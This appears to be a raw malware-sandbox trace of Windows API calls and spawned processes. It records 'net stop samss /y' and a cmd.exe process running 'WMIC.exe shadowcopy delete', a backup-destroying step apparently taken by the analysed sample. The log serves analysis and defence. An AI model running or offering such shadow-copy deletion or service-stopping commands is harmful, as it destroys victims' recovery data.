	[0238.004] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0xff6b5b50*, nNumberOfCharsToWrite=0x34, lpNumberOfCharsWritten=0x10f9e0, lpReserved=0x0 | out: lpBuffer=0xff6b5b50*, lpNumberOfCharsWritten=0x10f9e0*=0x34) returned 1
	[0238.004] GetFileType (hFile=0xb) returned 0x2
	[0238.005] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x10f9e8 | out: lpMode=0x10f9e8) returned 1
	[0238.005] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0xff691efc*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x10f9e0, lpReserved=0x0 | out: lpBuffer=0xff691efc*, lpNumberOfCharsWritten=0x10f9e0*=0x2) returned 1
	[0238.006] NetApiBufferFree (Buffer=0x144d40) returned 0x0
	[0238.006] NetApiBufferFree (Buffer=0x14c0e0) returned 0x0
	[0238.006] GetCommandLineW () returned="C:\\Windows\\system32\\net1 stop \"samss\" /y"
	[0238.006] exit (_Code=2) 

Process:
	id = "45"
	image_name = "net.exe"
	filename = "c:\\windows\\system32\\net.exe"
	page_root = "0xbf71000"
	os_pid = "0x26e4"
	os_integrity_level = "0x2000"
	os_privileges = "0x800000"
	monitor_reason = "child_process"
	parent_id = "5"
	os_parent_pid = "0x434"
	cmd_line = "\"C:\\Windows\\System32\\net.exe\" stop \"samss\" /y"
	cur_dir = "C:\\Windows\\system32\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 2128
	os_tid = 0x26e8


Process:
	id = "46"
	image_name = "net1.exe"
	filename = "c:\\windows\\system32\\net1.exe"
	page_root = "0xb26f000"
	os_pid = "0x289c"
	os_integrity_level = "0x2000"
	os_privileges = "0x800000"
	monitor_reason = "child_process"
	parent_id = "45"
	os_parent_pid = "0x26e4"
	cmd_line = "C:\\Windows\\system32\\net1 stop \"samss\" /y"
	cur_dir = "C:\\Windows\\system32\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 2241
	os_tid = 0x28a0

	[0241.916] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xcfb30 | out: lpSystemTimeAsFileTime=0xcfb30*(dwLowDateTime=0x727ba000, dwHighDateTime=0x1d5cdef)) 
	[0241.917] GetCurrentProcessId () returned 0x289c
	[0241.917] GetCurrentThreadId () returned 0x28a0
	[0241.917] GetTickCount () returned 0x117fcb7
	[0241.917] QueryPerformanceCounter (in: lpPerformanceCount=0xcfb38 | out: lpPerformanceCount=0xcfb38*=38347687265) returned 1
	[0241.919] GetModuleHandleW (lpModuleName=0x0) returned 0xffcd0000
	[0241.962] __set_app_type (_Type=0x1) 
	[0241.962] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xffce9c9c) returned 0x0
	[0241.962] __getmainargs (in: _Argc=0xffcf4780, _Argv=0xffcf4790, _Env=0xffcf4788, _DoWildCard=0, _StartInfo=0xffcf479c | out: _Argc=0xffcf4780, _Argv=0xffcf4790, _Env=0xffcf4788) returned 0
	[0241.963] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1
	[0241.963] GetConsoleOutputCP () returned 0x1b5
	[0241.963] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0xffcfcec0 | out: lpCPInfo=0xffcfcec0) returned 1
	[0241.964] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409
	[0241.968] sprintf_s (in: _DstBuf=0xcfad8, _DstSize=0xc, _Format=".%u" | out: _DstBuf=".437") returned 4
	[0241.969] setlocale (category=0, locale=".437") returned="English_United States.437"
	[0241.972] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7
	[0241.972] GetStdHandle (nStdHandle=0xfffffff4) returned 0xb
	[0241.972] GetCommandLineW () returned="C:\\Windows\\system32\\net1 stop \"samss\" /y"
	[0241.972] GetModuleFileNameW (in: hModule=0x0, lpFilename=0xcf870, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\net1.exe" (normalized: "c:\\windows\\system32\\net1.exe")) returned 0x1c
	[0241.972] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0x0, Size=0x6e) returned 0xfc060
	[0241.972] _wcsnicmp (_String1="/Y", _String2="/y", _MaxCount=0x2) returned 0
	[0241.973] NetApiBufferAllocate (in: ByteCount=0x18, Buffer=0xcfac8 | out: Buffer=0xcfac8*=0xf4d40) returned 0x0
	[0241.973] NetApiBufferAllocate (in: ByteCount=0x18, Buffer=0xcfac8 | out: Buffer=0xcfac8*=0xfc0e0) returned 0x0
	[0241.973] _fileno (_File=0x7fefe122a80) returned 0
	[0241.973] _setmode (_FileHandle=0, _Mode=16384) returned 16384
	[0241.973] _wcsicmp (_String1="accounts", _String2="stop") returned -18
	[0241.973] _wcsicmp (_String1="computer", _String2="stop") returned -16
	[0241.974] _wcsicmp (_String1="config", _String2="stop") returned -16
	[0241.974] _wcsicmp (_String1="continue", _String2="stop") returned -16
	[0241.974] _wcsicmp (_String1="cont", _String2="stop") returned -16
	[0241.974] _wcsicmp (_String1="file", _String2="stop") returned -13
	[0241.974] _wcsicmp (_String1="files", _String2="stop") returned -13
	[0241.974] _wcsicmp (_String1="group", _String2="stop") returned -12
	[0241.974] _wcsicmp (_String1="groups", _String2="stop") returned -12
	[0241.974] _wcsicmp (_String1="help", _String2="stop") returned -11
	[0241.974] _wcsicmp (_String1="helpmsg", _String2="stop") returned -11
	[0241.974] _wcsicmp (_String1="localgroup", _String2="stop") returned -7
	[0241.974] _wcsicmp (_String1="pause", _String2="stop") returned -3
	[0241.974] _wcsicmp (_String1="session", _String2="stop") returned -15
	[0241.974] _wcsicmp (_String1="sessions", _String2="stop") returned -15
	[0241.974] _wcsicmp (_String1="sess", _String2="stop") returned -15
	[0241.974] _wcsicmp (_String1="share", _String2="stop") returned -12
	[0241.974] _wcsicmp (_String1="start", _String2="stop") returned -14
	[0241.974] _wcsicmp (_String1="stats", _String2="stop") returned -14
	[0241.974] _wcsicmp (_String1="statistics", _String2="stop") returned -14
	[0241.974] _wcsicmp (_String1="stop", _String2="stop") returned 0
	[0241.975] _wcsicmp (_String1="accounts", _String2="samss") returned -18
	[0241.975] _wcsicmp (_String1="computer", _String2="samss") returned -16
	[0241.975] _wcsicmp (_String1="config", _String2="samss") returned -16
	[0241.975] _wcsicmp (_String1="continue", _String2="samss") returned -16
	[0241.975] _wcsicmp (_String1="cont", _String2="samss") returned -16
	[0241.975] _wcsicmp (_String1="file", _String2="samss") returned -13
	[0241.975] _wcsicmp (_String1="files", _String2="samss") returned -13
	[0241.975] _wcsicmp (_String1="group", _String2="samss") returned -12
	[0241.975] _wcsicmp (_String1="groups", _String2="samss") returned -12
	[0241.975] _wcsicmp (_String1="help", _String2="samss") returned -11
	[0241.975] _wcsicmp (_String1="helpmsg", _String2="samss") returned -11
	[0241.975] _wcsicmp (_String1="localgroup", _String2="samss") returned -7
	[0241.975] _wcsicmp (_String1="pause", _String2="samss") returned -3
	[0241.975] _wcsicmp (_String1="session", _String2="samss") returned 4
	[0241.975] _wcsicmp (_String1="sessions", _String2="samss") returned 4
	[0241.975] _wcsicmp (_String1="sess", _String2="samss") returned 4
	[0241.976] _wcsicmp (_String1="share", _String2="samss") returned 7
	[0241.976] _wcsicmp (_String1="start", _String2="samss") returned 19
	[0241.976] _wcsicmp (_String1="stats", _String2="samss") returned 19
	[0241.976] _wcsicmp (_String1="statistics", _String2="samss") returned 19
	[0241.976] _wcsicmp (_String1="stop", _String2="samss") returned 19
	[0241.976] _wcsicmp (_String1="time", _String2="samss") returned 1
	[0241.976] _wcsicmp (_String1="user", _String2="samss") returned 2
	[0241.976] _wcsicmp (_String1="users", _String2="samss") returned 2
	[0241.976] _wcsicmp (_String1="msg", _String2="samss") returned -6
	[0241.976] _wcsicmp (_String1="messenger", _String2="samss") returned -6
	[0241.976] _wcsicmp (_String1="receiver", _String2="samss") returned -1
	[0241.976] _wcsicmp (_String1="rcv", _String2="samss") returned -1
	[0241.976] _wcsicmp (_String1="netpopup", _String2="samss") returned -5
	[0241.976] _wcsicmp (_String1="redirector", _String2="samss") returned -1
	[0241.976] _wcsicmp (_String1="redir", _String2="samss") returned -1
	[0241.976] _wcsicmp (_String1="rdr", _String2="samss") returned -1
	[0241.976] _wcsicmp (_String1="workstation", _String2="samss") returned 4
	[0241.977] _wcsicmp (_String1="work", _String2="samss") returned 4
	[0241.977] _wcsicmp (_String1="wksta", _String2="samss") returned 4
	[0241.977] _wcsicmp (_String1="prdr", _String2="samss") returned -3
	[0241.977] _wcsicmp (_String1="devrdr", _String2="samss") returned -15
	[0241.977] _wcsicmp (_String1="lanmanworkstation", _String2="samss") returned -7
	[0241.977] _wcsicmp (_String1="server", _String2="samss") returned 4
	[0241.977] _wcsicmp (_String1="svr", _String2="samss") returned 21
	[0241.977] _wcsicmp (_String1="srv", _String2="samss") returned 17
	[0241.977] _wcsicmp (_String1="lanmanserver", _String2="samss") returned -7
	[0241.977] _wcsicmp (_String1="alerter", _String2="samss") returned -18
	[0241.977] _wcsicmp (_String1="netlogon", _String2="samss") returned -5
	[0241.977] _wcsupr (in: _String="samss" | out: _String="SAMSS") returned="SAMSS"
	[0241.978] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x80000000) returned 0xfcdf0
	[0241.987] GetServiceKeyNameW (in: hSCManager=0xfcdf0, lpDisplayName="SAMSS", lpServiceName=0xffcf5750, lpcchBuffer=0xcf9e8 | out: lpServiceName="", lpcchBuffer=0xcf9e8) returned 0
	[0241.989] _wcsicmp (_String1="msg", _String2="SAMSS") returned -6
	[0241.990] _wcsicmp (_String1="messenger", _String2="SAMSS") returned -6
	[0241.990] _wcsicmp (_String1="receiver", _String2="SAMSS") returned -1
	[0241.990] _wcsicmp (_String1="rcv", _String2="SAMSS") returned -1
	[0241.990] _wcsicmp (_String1="redirector", _String2="SAMSS") returned -1
	[0241.990] _wcsicmp (_String1="redir", _String2="SAMSS") returned -1
	[0241.990] _wcsicmp (_String1="rdr", _String2="SAMSS") returned -1
	[0241.990] _wcsicmp (_String1="workstation", _String2="SAMSS") returned 4
	[0241.990] _wcsicmp (_String1="work", _String2="SAMSS") returned 4
	[0241.990] _wcsicmp (_String1="wksta", _String2="SAMSS") returned 4
	[0241.990] _wcsicmp (_String1="prdr", _String2="SAMSS") returned -3
	[0241.990] _wcsicmp (_String1="devrdr", _String2="SAMSS") returned -15
	[0241.990] _wcsicmp (_String1="lanmanworkstation", _String2="SAMSS") returned -7
	[0241.990] _wcsicmp (_String1="server", _String2="SAMSS") returned 4
	[0241.990] _wcsicmp (_String1="svr", _String2="SAMSS") returned 21
	[0241.990] _wcsicmp (_String1="srv", _String2="SAMSS") returned 17
	[0241.990] _wcsicmp (_String1="lanmanserver", _String2="SAMSS") returned -7
	[0241.990] _wcsicmp (_String1="alerter", _String2="SAMSS") returned -18
	[0241.991] _wcsicmp (_String1="netlogon", _String2="SAMSS") returned -5
	[0241.991] NetServiceControl (in: servername=0x0, service="SAMSS", opcode=0x0, arg=0x0, bufptr=0xcf9f0 | out: bufptr=0xcf9f0) returned 0x0
	[0241.994] NetApiBufferAllocate (in: ByteCount=0xfa0, Buffer=0xcf9a8 | out: Buffer=0xcf9a8*=0x100c70) returned 0x0
	[0241.994] OpenServiceW (hSCManager=0xfcdf0, lpServiceName="SAMSS", dwDesiredAccess=0xc) returned 0xfce50
	[0241.995] QueryServiceStatus (in: hService=0xfce50, lpServiceStatus=0xcf950 | out: lpServiceStatus=0xcf950*(dwServiceType=0x20, dwCurrentState=0x4, dwControlsAccepted=0x0, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 1
	[0241.995] NetApiBufferFree (Buffer=0x100c70) returned 0x0
	[0241.996] CloseServiceHandle (hSCObject=0xfce50) returned 1
	[0241.996] wcscpy_s (in: _Destination=0xffcf80d0, _SizeInWords=0x104, _Source="NETMSG" | out: _Destination="NETMSG") returned 0x0
	[0241.996] LoadLibraryW (lpLibFileName="NETMSG") returned 0x74570000
	[0242.061] FormatMessageW (in: dwFlags=0x2a00, lpSource=0x74570000, dwMessageId=0x88f, dwLanguageId=0x0, lpBuffer=0xffcf5b50, nSize=0x800, Arguments=0xffcf7f90 | out: lpBuffer="The requested pause, continue, or stop is not valid for this service.\r\n") returned 0x47
	[0242.066] GetFileType (hFile=0xb) returned 0x2
	[0242.066] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0xcf848 | out: lpMode=0xcf848) returned 1
	[0242.067] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0xffcf5b50*, nNumberOfCharsToWrite=0x47, lpNumberOfCharsWritten=0xcf840, lpReserved=0x0 | out: lpBuffer=0xffcf5b50*, lpNumberOfCharsWritten=0xcf840*=0x47) returned 1
	[0242.068] GetFileType (hFile=0xb) returned 0x2
	[0242.068] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0xcf848 | out: lpMode=0xcf848) returned 1
	[0242.069] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0xffcd1efc*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0xcf840, lpReserved=0x0 | out: lpBuffer=0xffcd1efc*, lpNumberOfCharsWritten=0xcf840*=0x2) returned 1
	[0242.069] _ultow (in: _Dest=0x88f, _Radix=850096 | out: _Dest=0x88f) returned="2191"
	[0242.069] FormatMessageW (in: dwFlags=0x2800, lpSource=0x74570000, dwMessageId=0xdba, dwLanguageId=0x0, lpBuffer=0xffcf5b50, nSize=0x800, Arguments=0xffcf7f90 | out: lpBuffer="More help is available by typing NET HELPMSG 2191.\r\n") returned 0x34
	[0242.070] GetFileType (hFile=0xb) returned 0x2
	[0242.071] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0xcf848 | out: lpMode=0xcf848) returned 1
	[0242.071] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0xffcf5b50*, nNumberOfCharsToWrite=0x34, lpNumberOfCharsWritten=0xcf840, lpReserved=0x0 | out: lpBuffer=0xffcf5b50*, lpNumberOfCharsWritten=0xcf840*=0x34) returned 1
	[0242.072] GetFileType (hFile=0xb) returned 0x2
	[0242.072] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0xcf848 | out: lpMode=0xcf848) returned 1
	[0242.073] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0xffcd1efc*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0xcf840, lpReserved=0x0 | out: lpBuffer=0xffcd1efc*, lpNumberOfCharsWritten=0xcf840*=0x2) returned 1
	[0242.074] NetApiBufferFree (Buffer=0xf4d40) returned 0x0
	[0242.074] NetApiBufferFree (Buffer=0xfc0e0) returned 0x0
	[0242.074] GetCommandLineW () returned="C:\\Windows\\system32\\net1 stop \"samss\" /y"
	[0242.074] exit (_Code=2) 

Process:
	id = "47"
	image_name = "cmd.exe"
	filename = "c:\\windows\\system32\\cmd.exe"
	page_root = "0xa40e000"
	os_pid = "0x2ad8"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "2"
	os_parent_pid = "0x894"
	cmd_line = "cmd /c \"WMIC.exe shadowcopy delete\""
	cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 2383
	os_tid = 0x2adc

	[0247.489] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1cf7d0 | out: lpSystemTimeAsFileTime=0x1cf7d0*(dwLowDateTime=0x75cfcc40, dwHighDateTime=0x1d5cdef)) 
	[0247.489] GetCurrentProcessId () returned 0x2ad8
	[0247.489] GetCurrentThreadId () returned 0x2adc
	[0247.489] GetTickCount () returned 0x1181288
	[0247.489] QueryPerformanceCounter (in: lpPerformanceCount=0x1cf7d8 | out: lpPerformanceCount=0x1cf7d8*=38904943253) returned 1
	[0247.492] GetModuleHandleW (lpModuleName=0x0) returned 0x4a500000
	[0247.492] __set_app_type (_Type=0x1) 
	[0247.493] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4a527810) returned 0x0
	[0247.493] __getmainargs (in: _Argc=0x4a54a608, _Argv=0x4a54a618, _Env=0x4a54a610, _DoWildCard=0, _StartInfo=0x4a52e0f4 | out: _Argc=0x4a54a608, _Argv=0x4a54a618, _Env=0x4a54a610) returned 0
	[0247.493] GetCurrentThreadId () returned 0x2adc
	[0247.493] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x2adc) returned 0x3c
	[0247.494] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76f20000
	[0247.494] GetProcAddress (hModule=0x76f20000, lpProcName="SetThreadUILanguage") returned 0x76f36d40
	[0247.494] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409
	[0247.494] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1
	[0247.495] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x1cf768 | out: phkResult=0x1cf768*=0x0) returned 0x2
	[0247.495] VirtualQuery (in: lpAddress=0x1cf750, lpBuffer=0x1cf6d0, dwLength=0x30 | out: lpBuffer=0x1cf6d0*(BaseAddress=0x1cf000, AllocationBase=0xd0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0247.495] VirtualQuery (in: lpAddress=0xd0000, lpBuffer=0x1cf6d0, dwLength=0x30 | out: lpBuffer=0x1cf6d0*(BaseAddress=0xd0000, AllocationBase=0xd0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0247.495] VirtualQuery (in: lpAddress=0xd1000, lpBuffer=0x1cf6d0, dwLength=0x30 | out: lpBuffer=0x1cf6d0*(BaseAddress=0xd1000, AllocationBase=0xd0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0247.495] VirtualQuery (in: lpAddress=0xd4000, lpBuffer=0x1cf6d0, dwLength=0x30 | out: lpBuffer=0x1cf6d0*(BaseAddress=0xd4000, AllocationBase=0xd0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0247.495] VirtualQuery (in: lpAddress=0x1d0000, lpBuffer=0x1cf6d0, dwLength=0x30 | out: lpBuffer=0x1cf6d0*(BaseAddress=0x1d0000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0xe000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0247.495] GetConsoleOutputCP () returned 0x1b5
	[0247.495] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a53bfe0 | out: lpCPInfo=0x4a53bfe0) returned 1
	[0247.496] SetConsoleCtrlHandler (HandlerRoutine=0x4a523184, Add=1) returned 1
	[0247.496] _get_osfhandle (_FileHandle=1) returned 0x7
	[0247.496] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x0) returned 1
	[0247.497] _get_osfhandle (_FileHandle=1) returned 0x7
	[0247.497] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a52e194 | out: lpMode=0x4a52e194) returned 1
	[0247.497] _get_osfhandle (_FileHandle=1) returned 0x7
	[0247.498] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1
	[0247.498] _get_osfhandle (_FileHandle=0) returned 0x3
	[0247.498] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a52e198 | out: lpMode=0x4a52e198) returned 1
	[0247.498] _get_osfhandle (_FileHandle=0) returned 0x3
	[0247.498] SetConsoleMode (hConsoleHandle=0x3, dwMode=0x1a7) returned 1
	[0247.499] GetEnvironmentStringsW () returned 0x318a30*
	[0247.499] GetProcessHeap () returned 0x300000
	[0247.499] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0xa7c) returned 0x3194c0
	[0247.499] FreeEnvironmentStringsW (penv=0x318a30) returned 1
	[0247.500] GetProcessHeap () returned 0x300000
	[0247.500] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x8) returned 0x3188b0
	[0247.500] GetEnvironmentStringsW () returned 0x318a30*
	[0247.500] GetProcessHeap () returned 0x300000
	[0247.500] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0xa7c) returned 0x319f50
	[0247.500] FreeEnvironmentStringsW (penv=0x318a30) returned 1
	[0247.500] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x1ce628 | out: phkResult=0x1ce628*=0x44) returned 0x0
	[0247.501] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x1ce620, lpData=0x1ce640, lpcbData=0x1ce624*=0x1000 | out: lpType=0x1ce620*=0x0, lpData=0x1ce640*=0x18, lpcbData=0x1ce624*=0x1000) returned 0x2
	[0247.501] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x1ce620, lpData=0x1ce640, lpcbData=0x1ce624*=0x1000 | out: lpType=0x1ce620*=0x4, lpData=0x1ce640*=0x1, lpcbData=0x1ce624*=0x4) returned 0x0
	[0247.501] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x1ce620, lpData=0x1ce640, lpcbData=0x1ce624*=0x1000 | out: lpType=0x1ce620*=0x0, lpData=0x1ce640*=0x1, lpcbData=0x1ce624*=0x1000) returned 0x2
	[0247.501] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x1ce620, lpData=0x1ce640, lpcbData=0x1ce624*=0x1000 | out: lpType=0x1ce620*=0x4, lpData=0x1ce640*=0x0, lpcbData=0x1ce624*=0x4) returned 0x0
	[0247.501] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x1ce620, lpData=0x1ce640, lpcbData=0x1ce624*=0x1000 | out: lpType=0x1ce620*=0x4, lpData=0x1ce640*=0x40, lpcbData=0x1ce624*=0x4) returned 0x0
	[0247.501] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x1ce620, lpData=0x1ce640, lpcbData=0x1ce624*=0x1000 | out: lpType=0x1ce620*=0x4, lpData=0x1ce640*=0x40, lpcbData=0x1ce624*=0x4) returned 0x0
	[0247.501] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x1ce620, lpData=0x1ce640, lpcbData=0x1ce624*=0x1000 | out: lpType=0x1ce620*=0x0, lpData=0x1ce640*=0x40, lpcbData=0x1ce624*=0x1000) returned 0x2
	[0247.501] RegCloseKey (hKey=0x44) returned 0x0
	[0247.501] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x1ce628 | out: phkResult=0x1ce628*=0x44) returned 0x0
	[0247.502] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x1ce620, lpData=0x1ce640, lpcbData=0x1ce624*=0x1000 | out: lpType=0x1ce620*=0x0, lpData=0x1ce640*=0x40, lpcbData=0x1ce624*=0x1000) returned 0x2
	[0247.502] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x1ce620, lpData=0x1ce640, lpcbData=0x1ce624*=0x1000 | out: lpType=0x1ce620*=0x4, lpData=0x1ce640*=0x1, lpcbData=0x1ce624*=0x4) returned 0x0
	[0247.502] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x1ce620, lpData=0x1ce640, lpcbData=0x1ce624*=0x1000 | out: lpType=0x1ce620*=0x0, lpData=0x1ce640*=0x1, lpcbData=0x1ce624*=0x1000) returned 0x2
	[0247.502] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x1ce620, lpData=0x1ce640, lpcbData=0x1ce624*=0x1000 | out: lpType=0x1ce620*=0x4, lpData=0x1ce640*=0x0, lpcbData=0x1ce624*=0x4) returned 0x0
	[0247.502] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x1ce620, lpData=0x1ce640, lpcbData=0x1ce624*=0x1000 | out: lpType=0x1ce620*=0x4, lpData=0x1ce640*=0x9, lpcbData=0x1ce624*=0x4) returned 0x0
	[0247.502] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x1ce620, lpData=0x1ce640, lpcbData=0x1ce624*=0x1000 | out: lpType=0x1ce620*=0x4, lpData=0x1ce640*=0x9, lpcbData=0x1ce624*=0x4) returned 0x0
	[0247.502] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x1ce620, lpData=0x1ce640, lpcbData=0x1ce624*=0x1000 | out: lpType=0x1ce620*=0x0, lpData=0x1ce640*=0x9, lpcbData=0x1ce624*=0x1000) returned 0x2
	[0247.502] RegCloseKey (hKey=0x44) returned 0x0
	[0247.502] time (in: timer=0x0 | out: timer=0x0) returned 0x5e22e6eb
	[0247.502] srand (_Seed=0x5e22e6eb) 
	[0247.502] GetCommandLineW () returned="cmd /c \"WMIC.exe shadowcopy delete\""
	[0247.503] GetCommandLineW () returned="cmd /c \"WMIC.exe shadowcopy delete\""
	[0247.503] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a53c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25
	[0247.503] GetProcessHeap () returned 0x300000
	[0247.503] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x218) returned 0x31a9e0
	[0247.503] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x31a9f0, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b
	[0247.504] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a52f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0247.504] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a52f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0247.504] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a52f360, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0247.504] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13
	[0247.504] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11
	[0247.504] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13
	[0247.504] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13
	[0247.504] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12
	[0247.504] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4
	[0247.504] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2
	[0247.505] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8
	[0247.505] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1
	[0247.505] GetProcessHeap () returned 0x300000
